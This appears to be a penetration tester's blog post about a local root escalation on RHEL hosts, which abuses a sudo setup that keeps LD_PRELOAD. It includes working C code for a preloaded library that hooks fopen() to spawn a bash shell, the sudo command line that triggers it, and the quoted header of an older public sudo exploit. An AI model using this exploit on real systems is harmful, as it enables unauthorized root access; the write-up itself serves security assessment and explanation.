Willems and I are currently on an internal assessment and have popped a couple hundred (thousand?) RHEL machines, which was trivial since they are all imaged. Anyhoo – long story short, we have a user which is allowed to make use of sudo for a few commands, such as reboot and service. I immediately thought it would be nice to turn this into a local root somehow. Service seemed promising and I had a looksy how it works. Whilst it does do sanitation of the library path it does not remove LD_PRELOAD. So if we could sneak LD_PRELOAD past sudo then all should be good ?

For lack of deeper understanding I googled around the issue and came across http://www.catonmat.net/blog/simple-ld-preload-tutorial which is a vanilla LD_PRELOAD example overiding glib’s fopen() call. That sort of suited me well since I reckoned starting services will prolly read config files.

So after a little fiddling I came up with the following creature:


/* gcc -Wall -fPIC -shared -o myfopen.so myfopen.c */
/* http://www.catonmat.net/blog/simple-ld-preload-tutorial/ */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

FILE *fopen(const char *path, const char *mode) {
printf("MAKE ME A SANDWICH\n");
if (access("/tmp/sandwich", F_OK) != -1)
{
unlink("/tmp/sandwich");
system("/bin/bash");
}
else
{
//printf("fake fopen: not active \n");
}
return NULL;
}

which could be invoked via


#!/bin/bash
touch /tmp/sandwich
sudo LD_PRELOAD=/home/george/Desktop/playground/ld_preload/myfopen.so /etc/init.d/ssh restart


Best thing was it sort of worked! Ugly but functioning…
While trying to work out the finer details, however, I came across a sploit Kingcope had written in 2008, which exploited exactly this issue! Apparently older sudos did not “Defaults env_reset” or “Defaults setenv” which makes the LD_PRELOAD possible. (This still applies to [mis]configurations which preserve the environment)
As always with Kingcope sploits it is very elegant and definitely worth a look.

On a side note: the header of his sploit says:


# http://www.exploit-db.com/exploits/7129/
#
#* Sudo <= 1.6.9p18 local r00t exploit
#* by Kingcope/2008/www.com-winner.com
#
# Most lame exploit EVER!
#
# Needs a special configuration in the sudoers file:
# --->>>>> "Defaults setenv" so environ vars are preserved :) <<<<<---
#
# May also need the current users password to be typed in
# So this exploit is UBERLAME!
# First Argument to this shell file: A program your current
# user is allowed to execute via sudo. sudo has to be in
# the path!!
# successfully tested on FreeBSD-7.0 and RedHat Linux
# I don't even know why I realease such stuffz
# I'M GONNA GRAB A COFFE NOW;HAVE PHUN !!!


so Kingcope considered the vuln UEBERLAME … I don’t know if I should be proud or sad for having found it five years later then….
Anyhoo, at this point I was already pretty invested in the thing and decided to see the re-invention of the wheel through. Kingcope’s shared object was a lot slicker than mine, hooking into _init() rather than fopen() which makes it a lot more generic and elegant. He used unsetenv(LD_PRELOAD) to execute but once which is also a lot more elegant.

So I shamelessly stole from his sploit… I don’t see the need for a suid shell stager and fancy execls when a simple system() does the job, but I am prolly missing several points =) So without further waffle here it is – its called sandwhich sploit as an homage to the classic XKCD sudo comic.